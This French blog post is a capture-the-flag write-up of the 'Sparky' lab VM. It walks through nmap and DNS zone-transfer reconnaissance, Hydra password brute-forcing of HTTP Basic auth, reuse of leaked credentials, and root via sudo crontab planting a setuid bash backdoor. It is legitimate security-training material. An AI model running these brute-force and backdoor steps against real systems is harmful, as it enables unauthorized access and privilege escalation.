Accueil Solution du CTF Sparky de iamv1nc3nt
Post
Annuler

Solution du CTF Sparky de iamv1nc3nt

L’éternité plus un jour

Dans ma lancée j’ai continué avec le CTF Sparky de iamv1nc3nt.

Le challenge se présente comme de difficulté moyenne / difficile mais je pense surtout qu’il manquait une information toute bête pour qu’il soit réalisable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ sudo nmap -T5 -p- -sCV 192.168.56.26 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 17:40 CET 
Nmap scan report for 192.168.56.26 
Host is up (0.00016s latency). 
Not shown: 65531 closed tcp ports (reset) 
PORT     STATE SERVICE VERSION 
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
|   3072 3a:89:c0:a5:2a:f6:61:84:92:14:e9:5a:96:7a:a7:b0 (RSA) 
|   256 70:e8:bd:a9:a3:a6:c7:27:f0:ef:8e:37:8d:4f:eb:8e (ECDSA) 
|_  256 42:81:38:c5:56:ed:ab:26:ae:41:80:4e:ca:4e:9e:01 (ED25519) 
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux) 
| dns-nsid:  
|_  bind.version: 9.16.1-Ubuntu 
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu)) 
|_http-title: Apache2 Ubuntu Default Page: It works 
|_http-server-header: Apache/2.4.41 (Ubuntu) 
9898/tcp open  http    Apache httpd 2.4.41 
| http-auth:  
| HTTP/1.1 401 Unauthorized\x0D 
|_  Basic realm=Restricted 
|_http-title: 401 Unauthorized 
|_http-server-header: Apache/2.4.41 (Ubuntu) 
MAC Address: 08:00:27:6D:FE:44 (Oracle VirtualBox virtual NIC) 
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Remarquant la présence d’un serveur DNS j’ai tenté de faire une résolution inverse sur la machine pour voir si j’obtenais un nom de domaine :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ dig -x 127.0.0.1 @192.168.56.26 

; <<>> DiG 9.16.25 <<>> -x 127.0.0.1 @192.168.56.26 
;; global options: +cmd 
;; Got answer: 
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57090 
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 

;; OPT PSEUDOSECTION: 
; EDNS: version: 0, flags:; udp: 4096 
; COOKIE: 19d43bbdcd4a9fd8010000006203ef59ced5111df2ce8603 (good) 
;; QUESTION SECTION: 
;1.0.0.127.in-addr.arpa.                IN      PTR 

;; ANSWER SECTION: 
1.0.0.127.in-addr.arpa. 604800  IN      PTR     localhost. 

;; Query time: 0 msec 
;; SERVER: 192.168.56.26#53(192.168.56.26) 
;; WHEN: Wed Feb 09 17:44:10 CET 2022 
;; MSG SIZE  rcvd: 102

La réponse est donc non. Je me suis ensuite penché sur le port 80 et j’ai trouvé via énumération le dossier /website qui correspond à une copie de ce template de facture en HTML.

Contenu statique donc rien à en tirer là non plus. Il ne nous reste qu’à voir ce qu’on peut tirer du port 9898 qui sert un Apache.

On tombe sur une demande d’authentification Basic mais à ce stade on ne dispose ni d’un nom d’utilisateur ni d’un mot de passe. J’ai testé les couples classiques (admin / admin, test / test, etc) mais aucun n’a fonctionné.

On serait tenté de lancer Hydra dessus avec une liste d’utilisateurs, une bonne wordlists pour les mots de passe et un gros parallélisme :

1
2
$ hydra -t 50 -L unix_users.txt -P rockyou.txt http-head://192.168.56.26:9898
[STATUS] 25113.00 tries/min, 25113 tries in 00:01h, 2409831903 to do in 1599:20h, 50 active

Okayyyyyy ! Non, je n’ai pas 1600 heures à tuer…

J’ai alors refouillé sur ce satané port 80 en énumérant toutes les extensions de fichiers qui me semblaient intéressantes, j’ai brute forcé les hôtes virtuels (sans suffixe puisque l’on n’en a pas), brute forcé aussi les noms d’hôtes sur le DNS :

1
$ gobuster dns -d '' -r 192.168.56.26 -w alexaTop1mAXFRcommonSubdomains.txt

J’ai utilisé l’astuce consistant à calculer l’adresse IPv6 link-local depuis l’adresse MAC, ce qui me donne fe80::a00:27ff:fe6d:fe44 mais les ports ouverts étaient les mêmes.

J’ai écouté sur l’interface réseau comme c’était le cas pour Snowtalks Medium mais ça n’a rien donné.

A ce stade autant dire que la seule solution fut d’abandonner et ouvrir la VM pour voir ce qui cloche. J’ai ainsi découvert un fichier .htpasswd avec un hash associé à l’utilisateur web.

C’était l’information qui nous manquait et dont on aurait du disposer pour éviter d’attendre 1600 heures !

Rue du password

A vrai dire une fois qu’on dispose du nom d’utilisateur ce n’est pas la joie non plus :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ hydra -t 50 -l web -P rockyou.txt http-head://192.168.56.26:9898                     
Hydra v9.2 (c) 2021 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-02-10 09:33:23 
[WARNING] You must supply the web page as an additional option or via -m, default path set to / 
[WARNING] http-head auth does not work with every server, better use http-get 
[DATA] max 50 tasks per 1 server, overall 50 tasks, 14344387 login tries (l:1/p:14344387), ~286888 tries per task 
[DATA] attacking http-head://192.168.56.26:9898/ 
[STATUS] 25063.00 tries/min, 25063 tries in 00:01h, 14319324 to do in 09:32h, 50 active 
[STATUS] 26401.00 tries/min, 79203 tries in 00:03h, 14265184 to do in 09:01h, 50 active 
[STATUS] 24924.29 tries/min, 174470 tries in 00:07h, 14169917 to do in 09:29h, 50 active 
[STATUS] 26064.53 tries/min, 390968 tries in 00:15h, 13953419 to do in 08:56h, 50 active 
[STATUS] 26574.39 tries/min, 823806 tries in 00:31h, 13520581 to do in 08:29h, 50 active 
[9898][http-head] host: 192.168.56.26   login: web   password: webpassword 
1 of 1 target successfully completed, 1 valid password found 
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-02-10 10:17:16

45 minutes pour obtenir un mot de passe on aurait préféré s’en passer.

Une fois connecté on trouve une appli web de type carnet d’adresse dont le projet est sur Github. La documentation mentionne un mot de passe par défaut :

Once database constants have been set you should now be able to log into the system. The default username is “admin” with a password of “LetMeIn123”.

Parmi les adresses enregistrées on note les adresses emails suivantes :

1
2
3
btaylor@sparky.local
jtaylor@sparky.local
staylor@sparky.local

On a donc un domaine, ce qui peut nous servir pour tenter un transfert de zone :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ dig -t axfr sparky.local @192.168.56.26 

; <<>> DiG 9.16.25 <<>> -t axfr sparky.local @192.168.56.26 
;; global options: +cmd 
sparky.local.           604800  IN      SOA     ns1.sparky.local. root.ns1.sparky.local. 3 604800 86400 2419200 604800 
sparky.local.           604800  IN      TXT     "ZFVtYnJlbGxhJSUK" 
sparky.local.           604800  IN      NS      ns1.sparky.local. 
ftp.sparky.local.       604800  IN      CNAME   www.sparky.local. 
mail.sparky.local.      604800  IN      A       10.10.199.4 
ns1.sparky.local.       604800  IN      A       10.10.199.2 
www.sparky.local.       604800  IN      A       10.10.199.3 
sparky.local.           604800  IN      SOA     ns1.sparky.local. root.ns1.sparky.local. 3 604800 86400 2419200 604800 
;; Query time: 7 msec 
;; SERVER: 192.168.56.26#53(192.168.56.26) 
;; WHEN: Thu Feb 10 13:54:29 CET 2022 
;; XFR size: 8 records (messages 1, bytes 268)

On remarque un enregistrement TXT étrange qui se décode en base64 en dUmbrella%%. Il s’agit vraisemblablement d’un mot de passe mais après un coup d’Hydra sur le port SSH rien n’est moins sûr.

C’est à ce moment là qu’il fallait de bons yeux sans quoi on peut y passer des heures encore. L’adresse de Stacey Taylor dans le carnet d’adresse contient un mot de passe :

1
1313 Mockingbird Lane, pass: NumbBell1745, Anytown, USA, 11111

Grace à cette indication on peut se connecter sur le compte SSH staylor :

1
2
3
4
5
6
7
8
9
staylor@sparky:~$ sudo -l 
[sudo] password for staylor:  
Matching Defaults entries for staylor on sparky: 
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 

User staylor may run the following commands on sparky: 
    (ALL) /usr/bin/crontab
staylor@sparky:~$ sudo /usr/bin/crontab -l 
no crontab for root

On peut se servir de crontab avec les droits de l’utilisateur root. Si on édite sa crontab avec l’option -e on peut par exemple ajouter l’entrée suivante :

1
* * * * * cp /bin/bash /tmp/g0tr00t && chmod 4755 /tmp/g0troot

Mais tout ce que j’obtiens c’est :

1
-rwxr-xr-x 1 root root 1183448 Feb 10 14:22 g0tr00t

Quoi ? Le bit setuid n’est pas définit ? J’ai pensé qu’à la seconde recopie le cp retournait un code d’erreur si le fichier existait déjà mais j’ai testé en local et ça fonctionnait :-/

L’exécutable chmod ne dispose pas de capabilities qui auraient pu le forcer à dropper ce bit… Le système de fichier ne semble pas disposer d’interdiction de montage du type nosuid non plus.

Il ne reste que l’hypothèse que chmod a été altéré pour ne pas mettre le bit setuid ?

J’ai changé ma crontab pour cette commande :

1
python3 -c 'import os; os.chmod("/tmp/g0tr00t", 0o4755)'

Et là ça marche :

1
-rwsr-xr-x  1 root root 1183448 Feb 10 14:25 g0tr00t

On peut alors profiter de notre backdoor :

1
2
3
4
5
6
7
8
staylor@sparky:~$ /tmp/g0tr00t -p 
g0tr00t-5.0# id 
uid=1002(staylor) gid=1002(staylor) euid=0(root) groups=1002(staylor) 
g0tr00t-5.0# cd /root 
g0tr00t-5.0# ls 
root.txt  snap 
g0tr00t-5.0# cat root.txt 
767dfec2657d60028dc63ea4496fb87a

Reliques

En regardant la liste des utilisateurs on en remarque deux autres :

1
2
3
4
sparky:x:1000:1000:Sparky:/home/sparky:/bin/bash 
jbottoms:x:1001:1001:,,,:/home/jbottoms:/bin/bash 
staylor:x:1002:1002:,,,:/home/staylor:/bin/bash 
jtaylor:x:1003:1003:,,,:/home/jtaylor:/bin/bash

Le mot de passe dUmbrella%% qui était dans l’enregistrement TXT fonctionne pour l’utilisateur jbottoms qui n’était mentionné nul part.

Cet utilisateur dispose d’un flag user.txt mais ça s’arrête là.

Le CTF a un gros défaut : sans connaissance du nom d’utilisateur pour l’authentification HTTP, la quantité des combinaisons à tester pour l’attaque brute force rend le challenge impossible à résoudre.

Published February 10 2022 at 16:35

Cet article est sous licence CC BY 4.0 par l'auteur.